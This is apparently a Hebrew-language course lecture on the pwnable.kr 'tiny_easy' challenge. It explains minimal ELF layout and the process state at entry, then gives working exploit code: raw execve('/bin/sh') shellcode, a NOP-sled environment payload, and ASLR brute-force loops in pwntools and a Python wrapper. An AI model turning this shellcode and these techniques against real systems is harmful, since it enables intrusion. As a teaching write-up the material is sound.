לדלג לתוכן

8.3 בינארי זעיר הרצאה

עד עכשיו כמעט תמיד היה לנו קוד מקור, פונקציית main, ספריית libc מאחורי הקלעים, ורצף אתחול מסודר שדואג לכל זה עוד לפני שהקוד שלנו רץ. עכשיו נעשה צעד אחורה, אל הרגע הכי מוקדם שיש: השנייה שבה הkernel טוען בינארי ומעביר לו שליטה בפעם הראשונה. נעשה את זה דרך אתגר קטנטן ואלגנטי מ-pwnable.kr בשם tiny_easy - בינארי ELF זערורי, מופשט מסמלים, עם פחות מעשר הוראות סך הכול, שכל מה שהוא עושה זה לקרוס. כדי לexploit אותו נצטרך להבין בדיוק מה יש על המחסנית וברגיסטרים ברגע שהתוכנית מתחילה לרוץ, ולהשתיל shellcode במקום צפוי ולכוון את הקריסה אליו.

זו הרצאה שמחברת שני חוטים שכבר משכנו: את מבנה ה-ELF שלמדנו בקורס ליבת המחשב, ואת הטריק של shellcode במשתנה סביבה שראינו ב-3.2. כאן שני החוטים נפגשים בצורה הכי טהורה שיש, כי בבינארי כל כך קטן אין כלום שיסתיר את המנגנון - רק הkernel, המחסנית, וארבע הוראות.

בינארי בגודל של ציוץ - what is tiny_easy

הבינארי tiny_easy הוא ELF של 32 ביט, בגודל של כ-130 בתים בלבד. לשם השוואה, בינארי "hello world" רגיל שקומפל עם gcc שוקל עשרות אלפי בתים. איך אפשר ELF כזה קטן? פשוט מאוד: אין בו libc, אין main, אין קוד אתחול (מה שנקרא CRT - ה-_start שגם crt0 מספק), אין טבלת סמלים, אין מקטע .data, ואפילו אין מקטע .text נפרד עם שם. יש רק את המינימום המוחלט שהkernel דורש כדי לטעון קובץ ולהתחיל להריץ אותו.

בואו נסתכל עליו מבחוץ:

$ file tiny_easy
tiny_easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
           statically linked, stripped

$ wc -c tiny_easy
132 tiny_easy

$ checksec --file=tiny_easy
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE

שימו לב לשלושה דברים: הבינארי stripped (אין סמלים, אז לא נראה שמות פונקציות), NX disabled (המחסנית ניתנת להרצה - נחזור לזה, זה קריטי), ו-No PIE (הכתובות קבועות ומתחילות ב-0x08048000). כל אלה יחד הופכים אותו למטרה נוחה, אבל קודם צריך להבין איך הוא בכלל בנוי.

מבנה ELF מינימלי - minimal ELF

כדי שהkernel של לינוקס יסכים לטעון ולהריץ קובץ, הוא צריך שני מבנים בלבד:

  • כותרת ELF - ELF header (נקרא Ehdr). ב-32 ביט היא בדיוק 52 בתים (0x34). היא אומרת לkernel: זה ELF, זו ארכיטקטורה i386, סוג הקובץ הוא הרצה (ET_EXEC), נקודת הכניסה (e_entry) היא כתובת כזו וכזו, וטבלת כותרות התוכנית (program headers) יושבת בהיסט מסוים בקובץ.
  • כותרת תוכנית אחת - program header (נקרא Phdr). ב-32 ביט כל כניסה כזו היא 32 בתים (0x20). היא אומרת לkernel: קח את קטע הקובץ הזה, מפה אותו לזיכרון בכתובת הווירטואלית הזו, בהרשאות האלה.

זהו. אלה שני המבנים ההכרחיים. שאר הדברים בבינארי רגיל (section headers, טבלאות סמלים, מקטעים נפרדים) נחמדים למקשר ולמנפה, אבל הkernel לא צריך אותם בכלל בזמן טעינה. בינארי מינימלי פשוט מוותר עליהם.

עכשיו הנה החישוב היפה שמסביר את כל מבנה הקובץ:

file offset   content
+-----------+----------------------------------------------+
| 0x00      | ELF header - Ehdr (52 bytes)                 |
+-----------+----------------------------------------------+
| 0x34      | program header - Phdr (32 bytes), PT_LOAD     |
|           | vaddr=0x08048000, filesz=memsz=the whole file,|
|           | flags = R + W + E                            |
+-----------+----------------------------------------------+
| 0x54      | the code itself - entry point (_start)        |
|           | a few bytes of instructions, and that's it    |
+-----------+----------------------------------------------+

הכותרת בגודל 52 בתים, ואחריה מיד כותרת התוכנית בגודל 32 בתים. יחד: 84 בתים, שזה 0x54. הקובץ כולו ממופה לזיכרון בכתובת 0x08048000, ולכן ההיסט 0x54 בקובץ הוא בדיוק הכתובת הווירטואלית 0x08048054. וזו, לא במקרה, נקודת הכניסה של tiny_easy. במילים אחרות: נקודת הכניסה של הבינארי היא הבית הראשון אחרי שתי הכותרות. אין שם שום קוד אתחול - הקוד שלנו מתחיל לרוץ ברגע הראשון האפשרי.

נאמת את זה עם readelf:

$ readelf -h tiny_easy | grep Entry
  Entry point address:               0x8048054

$ readelf -l tiny_easy
Program Headers:
  Type   Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD   0x000000 0x08048000 0x08048000 0x00084 0x00084 RWE 0x1000

הדגל RWE על מקטע ה-LOAD היחיד אומר שהמקטע ממופה בהרשאות קריאה, כתיבה והרצה גם יחד. זה כבר רומז למשהו חשוב על ה-NX, ותכף נסביר.

מצב התהליך בכניסה - process state at entry

זה הלב של ההרצאה. כשהkernel מסיים למפות את הבינארי וקופץ אל e_entry, המצב לא "ריק". הkernel הכין לתוכנית סביבה מסודרת שמוגדרת ב-System V ABI. אם לא מכירים את המצב הזה, tiny_easy נראה כמו קסם. ברגע שמכירים אותו, הכול מתבהר.

הרגיסטרים בכניסה - registers

במעבד i386 בלינוקס, ברגע ה-_start:

  • הרגיסטר esp מצביע על גוש הארגומנטים על המחסנית (מיד נפרט מה יש שם).
  • הרגיסטר edx מכיל מצביע לפונקציית ניקוי שה-ABI מבקש לרשום ב-atexit. בבינארי בלי libc הוא בדרך כלל 0.
  • כל שאר הרגיסטרים הכלליים מאופסים (0). זו התנהגות של לינוקס: הוא מנקה את הרגיסטרים כדי לא לleak מידע מהkernel.
  • דגל הכיוון DF מאופס.

הנקודה החשובה: אין כאן main עם ארגומנטים ברגיסטרים לפי convention. הכול על המחסנית, בפורמט גולמי שהkernel בנה.

המחסנית בכניסה - the initial stack

הkernel בונה את ראש המחסנית כך שברגע ה-_start, esp מצביע ישירות על argc. מעליו (בכתובות גבוהות יותר) מסודרים המצביעים ל-argv, אחר כך המצביעים ל-envp, אחר כך טבלת ה-auxv, ולבסוף, בראש המחסנית ממש, מחרוזות התוכן עצמן:

low addresses (esp points here)
+-----------------------------+
| argc                        |  <-- esp
+-----------------------------+
| argv[0]  (pointer to string)|  <-- program name
| argv[1]                     |
| ...                         |
| argv[argc-1]                |
| NULL                        |  <-- end of argv array
+-----------------------------+
| envp[0]  (pointer to string)|  <-- "KEY=value"
| envp[1]                     |
| ...                         |
| NULL                        |  <-- end of envp array
+-----------------------------+
| auxv[]  (AT_* : value pairs)|  <-- AT_RANDOM, AT_PHDR, AT_NULL...
| AT_NULL                     |
+-----------------------------+
| content strings:            |
|   "./tiny_easy\0"           |  <-- the string argv[0] points to
|   "PWD=/home/...\0"         |
|   "PATH=...\0"  ...         |  <-- environment strings
+-----------------------------+
high addresses (top of stack)

שימו לב להבחנה הקריטית: argv[0] הוא מצביע, והוא מצביע אל מחרוזת שיושבת גבוה יותר על המחסנית. המחרוזת הזו היא שם התוכנית שאיתו הפעילו אותה. שני הדברים האלה - שאנחנו שולטים בתוכן של argv[0] (דרך שם ההרצה) ושמחרוזות הסביבה יושבות בכתובת יציבה בראש המחסנית - הם בדיוק שני המנופים שמפוצצים את tiny_easy.

הקוד של tiny_easy - the disassembly

עכשיו כשאנחנו יודעים מה יש על המחסנית, נפרק את הקוד. נריץ objdump על הבינארי:

$ objdump -d tiny_easy

08048054 <.text>:
 8048054:  58        pop    %eax
 8048055:  58        pop    %eax
 8048056:  8b 00     mov    (%eax),%eax
 8048058:  ff e0     jmp    *%eax

שש בתים של קוד. זהו כל הבינארי מבחינת הרצה. אצלכם הבתים המדויקים עשויים להיות מעט שונים (למשל call במקום jmp, או עוד pop), אז תמיד אמתו עם objdump -d על העותק שלכם. בואו נעקוב אחרי eax צעד-צעד, עם מפת המחסנית שלמעלה ביד:

initial state:  esp -> argc

pop eax        ; eax = argc         ; esp advances -> argv[0]
pop eax        ; eax = argv[0]      ; eax now points to the program name string
mov eax,[eax]  ; eax = *(argv[0])   ; the first four bytes of the program name
jmp eax        ; jump to the address held in those four bytes

תעצרו רגע ותנשמו את זה, כי זה כל האתגר. אחרי שני ה-pop, eax מחזיק את המצביע argv[0]. ההוראה mov eax,[eax] מבצעת דריפרנס: היא קוראת את ארבעת הבתים הראשונים של מחרוזת שם התוכנית, ושמה אותם ב-eax. ואז jmp eax קופצת לכתובת שערכה הוא בדיוק ארבעת הבתים האלה.

מה קורה בהרצה רגילה? אם נריץ ./tiny_easy, מחרוזת שם התוכנית מתחילה בבתים ./ti, כלומר 0x69742e2e. הקוד יקפוץ לכתובת 0x69742e2e, שלא ממופה, ונקבל SIGSEGV. זו הקריסה. אבל שימו לב: הכתובת שאליה קפצנו נקבעת לגמרי מארבעת הבתים הראשונים של שם התוכנית, ובשם התוכנית אנחנו שולטים. זה בדיוק המובן של "קריסה על רגיסטר נשלט": הרגיסטר eax מחזיק ערך שאנחנו קובעים.

הרעיון בקצרה - the plan

מכאן התוכנית מתגבשת מאליה:

  1. נפעיל את tiny_easy עם argv[0] שהבתים הראשונים שלו הם כתובת שאנחנו בוחרים, ארוזה little-endian. אז eax יקבל את הכתובת הזו, ו-jmp eax יקפוץ אליה.
  2. נצטרך שהכתובת הזו תצביע על קוד שאנחנו שולטים בו, במקום שאפשר להריץ ממנו. הפתרון: נשתיל shellcode במשתנה סביבה, שיושב בראש המחסנית.
  3. נחשב (או ננחש עם רשת ביטחון) את הכתובת של ה-shellcode בסביבה, ונשים אותה בארבעת הבתים הראשונים של argv[0].

כשה-jmp eax יקפוץ - הוא ינחת בתוך ה-shellcode שלנו בסביבה, וזה ירוץ. נקבל shell.

יש כאן עדינות אחת שחשוב לשים לב אליה מיד: כדי לשלוט ב-argv[0] צריך להפעיל את הבינארי דרך execve עם מערך argv שאנחנו בונים. ה-shell הרגיל לא נותן לנו לשים בתים גולמיים ב-argv[0] בקלות, אז נשתמש ב-execve ישירות (למשל דרך pwntools, שמאפשר argv=[...], או דרך תוכנית עטיפה קטנה). נחזור לזה בקוד.

למה המחסנית ניתנת להרצה - executable stack

רגע, שאלה מתבקשת: אנחנו קופצים ל-shellcode שיושב על המחסנית (בתוך משתנה סביבה). האם המחסנית בכלל ניתנת להרצה? עם NX פעיל, קפיצה לשם הייתה נותנת SIGSEGV מיד.

התשובה נובעת מהמבנה המינימלי של הבינארי. בבינארי רגיל יש מקטע תוכנית מיוחד בשם GNU_STACK שאומר לkernel אם המחסנית צריכה להיות ניתנת להרצה או לא. בבינארי מינימלי כמו tiny_easy אין מקטע GNU_STACK בכלל. כשהמקטע הזה חסר, הkernel של לינוקס נופל להתנהגות שמרנית-ישנה שנקראת READ_IMPLIES_EXEC: כל דף שקריא הופך גם לניתן להרצה. התוצאה - המחסנית, ה-heap, וכל אזור קריא אחר, כולם ניתנים להרצה. זו בדיוק הסיבה ש-checksec הראה NX disabled, ולכן ה-shellcode בסביבה ירוץ בלי בעיה.

זה שיעור כללי חשוב: לפעמים הגנה חסרה לא כי מישהו כיבה אותה, אלא כי הבינארי בנוי בצורה שמדלגת עליה. בינארי מינימלי מדלג על GNU_STACK, ומרוויח (מבחינתנו התוקפים) מחסנית ניתנת להרצה בחינם.

חישוב כתובת ה-shellcode בסביבה - computing the env address

נשארה השאלה הפרקטית: באיזו כתובת בדיוק יושב ה-shellcode שלנו בסביבה? כמו שראינו במפת המחסנית, מחרוזות הסביבה יושבות ממש בראש המחסנית, בכתובות הגבוהות ביותר. ב-32 ביט ראש המחסנית הוא בערך 0xfffff000 (כשה-ASLR כבוי), והמחרוזות מסודרות משם כלפי מטה.

חישוב מדויק אפשרי אבל עדין - הוא תלוי באורך שם התוכנית, בכמות ובאורך משתני הסביבה, ובalignment. במקום להתאבד על חישוב מדויק, נשתמש בשתי רשתות ביטחון שכבר מכירים מ-3.2:

  • מזחלת NOP ענקית - NOP sled. נשים לפני ה-shellcode עשרות אלפי בתים של \x90. עכשיו לא צריך לפגוע בבית מדויק - מספיק לנחות איפשהו בתוך המזחלת, והמעבד יחליק קדימה עד ה-shellcode. עם מזחלת של 0x10000 בתים ומעלה, יש לנו טווח פגיעה עצום.
  • חיפוש ב-gdb. נריץ פעם אחת תחת gdb, נחפש את המזחלת עם search -s, ונבחר כתובת עמוק בתוכה. עם ASLR כבוי הכתובת הזו יציבה בין הרצות.

מה עם ASLR? על שרת pwnable.kr ה-ASLR לרוב פעיל. ב-32 ביט האנטרופיה של מחסנית ה-ASLR נמוכה יחסית, ולכן הטריק הקלאסי הוא brute force: מקבעים ניחוש כתובת אחד בתוך תחום המזחלת, ומריצים את הבינארי בלולאה שוב ושוב. בכל הרצה המחסנית מוגרלת מחדש, ובסופו של דבר המזחלת שלנו "נוחתת" מעל הכתובת שניחשנו, וה-shellcode רץ. ככל שהמזחלת גדולה יותר, כך פחות ניסיונות צריך. בפועל כמה מאות עד אלפי ניסיונות מספיקים, וזה עניין של שניות.

הexploit המלא ב-pwntools - full exploit

הנה exploit שלם. הוא בונה סביבה עם מזחלת ענקית ו-shellcode, מקבע ניחוש כתובת, ומריץ בלולאה עד שנפתח shell:

#!/usr/bin/env python3
from pwn import *

context.clear(arch='i386')

# 32-bit shellcode that runs execve("/bin/sh", 0, 0)
sc = asm(shellcraft.i386.linux.sh())

# huge NOP sled + shellcode, goes into an environment variable
env = {'PWN': b'\x90' * 0x10000 + sc}

# guess an address inside the sled's range. With ASLR on we loop until we land inside it
target = 0xffffd800

payload_argv0 = p32(target)   # the first four bytes of argv[0] = the address we'll jump to

for attempt in range(4000):
    try:
        p = process(['./tiny_easy'], executable='./tiny_easy',
                    argv=[payload_argv0], env=env)
        # if the shellcode ran, we have a shell - check with a short command
        p.sendline(b'echo HIT; id; cat flag')
        line = p.recvline(timeout=0.5)
        if b'HIT' in line:
            log.success('landed after %d tries @ %#x', attempt, target)
            p.recvall(timeout=1)
            p.interactive()
            break
        p.close()
    except EOFError:
        p.close()

הרעיון: argv=[p32(target)] שם את הכתובת בארבעת הבתים הראשונים של שם התוכנית. הקוד של tiny_easy עושה mov eax,[eax] על המצביע argv[0], מקבל את target, וקופץ אליו. אם target נחת בתוך המזחלת בסביבה - shell. אם לא - SIGSEGV, נסגור ונחזור על הלולאה.

גרסה עם ASLR כבוי - כתובת קבועה

אם אתם עובדים מקומית ורוצים ריצה דטרמיניסטית, כבו ASLR ומצאו את הכתובת המדויקת פעם אחת:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

מוצאים את הכתובת של המזחלת בתוך הסביבה ב-gdb:

pwndbg> starti          # stops at _start, before the jump
pwndbg> search -s "\x90\x90\x90\x90\x90\x90\x90\x90"
[stack] 0xffffd7e0 '\x90\x90\x90...'

בוחרים כתובת עמוק בתוך הטווח (למשל 0xffffd800), מקבעים אותה כ-target, ומריצים פעם אחת בלי הלולאה. עם ASLR כבוי זה יעבוד יציב.

הפעלה בלי pwntools - execve ידני

על השרת, אם אין pwntools, אפשר להפעיל את הבינארי עם argv[0] נשלט דרך תוכנית עטיפה קצרה בפייתון שקוראת ל-os.execve:

#!/usr/bin/env python3
import os, struct

target = 0xffffd800
sc = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
      b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")  # execve("/bin/sh")

env = {'PWN': b'\x90' * 0x10000 + sc}
argv = [struct.pack('<I', target)]   # argv[0] = the address

os.execve('./tiny_easy', argv, env)  # replaces the current process with tiny_easy

מריצים את זה בלולאת shell עד שנופל shell (בגלל ASLR):

$ while true; do python3 wrap.py 2>/dev/null; done

מלכודות נפוצות וטיפים

  • חייבים execve, לא shell רגיל. השליטה שלנו היא ב-argv[0], וכדי לשים שם בתים גולמיים (כתובת ארוזה) חייבים לבנות את מערך argv בעצמנו דרך execve. ./tiny_easy רגיל תמיד יעביר argv[0] = "./tiny_easy".
  • בתים אפסיים בכתובת. כתובת מחסנית ב-32 ביט כמו 0xffffd800 לא מכילה בית אפס, אז p32 שלה נקי. אם במקרה בחרתם כתובת שמתחילה או מכילה 0x00, המחרוזת של argv[0] תיקטע - אבל מכיוון שאנחנו קוראים רק את ארבעת הבתים הראשונים ב-mov eax,[eax], קטיעה אחרי הבית הרביעי לא מזיקה. פשוט ודאו שהכתובת עצמה בלי אפסים.
  • גודל הסביבה משפיע על הכתובת. כל שינוי באורך המזחלת או בשם משתנה הסביבה מזיז את כל המחסנית. אם קיבעתם כתובת ומצאתם שהיא מפספסת, אל תשנו את גודל הסביבה בין החיפוש ב-gdb לבין ההרצה. הכי בטוח: מזחלת ענקית שבולעת הכול.
  • מול ASLR העדיפו brute force. אל תבזבזו זמן על חישוב כתובת מושלם מול ASLR. מזחלת גדולה ולולאה קצרה יפתרו את זה בשניות. ב-32 ביט האנטרופיה נמוכה מספיק.
  • המחסנית באמת ניתנת להרצה? אם הקפיצה נותנת SIGSEGV גם כשאתם בטוחים שנחתתם על המזחלת, ודאו עם readelf -l שאין מקטע GNU_STACK, או שהוא מסומן RWE. בלי זה, אף shellcode על המחסנית לא ירוץ.
  • הכלי objdump הוא האמת. הבתים המדויקים של tiny_easy אצלכם עשויים להיות שונים במעט. אל תסמכו על ההרצאה - פרקו את הבינארי שלכם בעצמכם ותעקבו אחרי eax. כל האתגר הוא להבין לאן בדיוק הקוד קופץ ומאיפה הערך הזה מגיע.

סיכום

  • הבינארי tiny_easy הוא ELF מינימלי של 32 ביט: רק כותרת ELF (52 בתים) וכותרת תוכנית אחת (32 בתים), ואחריהן נקודת הכניסה ב-0x08048054. אין libc, אין main, אין קוד אתחול.
  • מצב התהליך בכניסה נקבע על ידי הkernel לפי ה-ABI: esp מצביע על argc, ומעליו מערכי argv ו-envp, טבלת auxv, ובראש המחסנית מחרוזות התוכן. argv[0] הוא מצביע למחרוזת שם התוכנית, שבתוכנה אנחנו שולטים.
  • הקוד עושה pop eax (argc), pop eax (argv[0]), mov eax,[eax] (ארבעת הבתים הראשונים של שם התוכנית), ו-jmp eax. כלומר הביצוע קופץ לכתובת שהיא ארבעת הבתים הראשונים של argv[0] - וזו שליטה מלאה שלנו על יעד הקפיצה.
  • הexploit: מפעילים דרך execve עם argv[0] = p32(addr), משתילים shellcode + מזחלת ענקית במשתנה סביבה, ומכוונים את addr אל תוך המזחלת.
  • המחסנית ניתנת להרצה כי לבינארי המינימלי אין מקטע GNU_STACK, והkernel מפעיל READ_IMPLIES_EXEC. לכן ה-shellcode בסביבה רץ.
  • מול ASLR מריצים בלולאת brute force עם כתובת ניחוש קבועה ומזחלת גדולה, עד שנוחתים בתוכה. מקומית, עם ASLR כבוי, מקבעים כתובת מדויקת מ-gdb.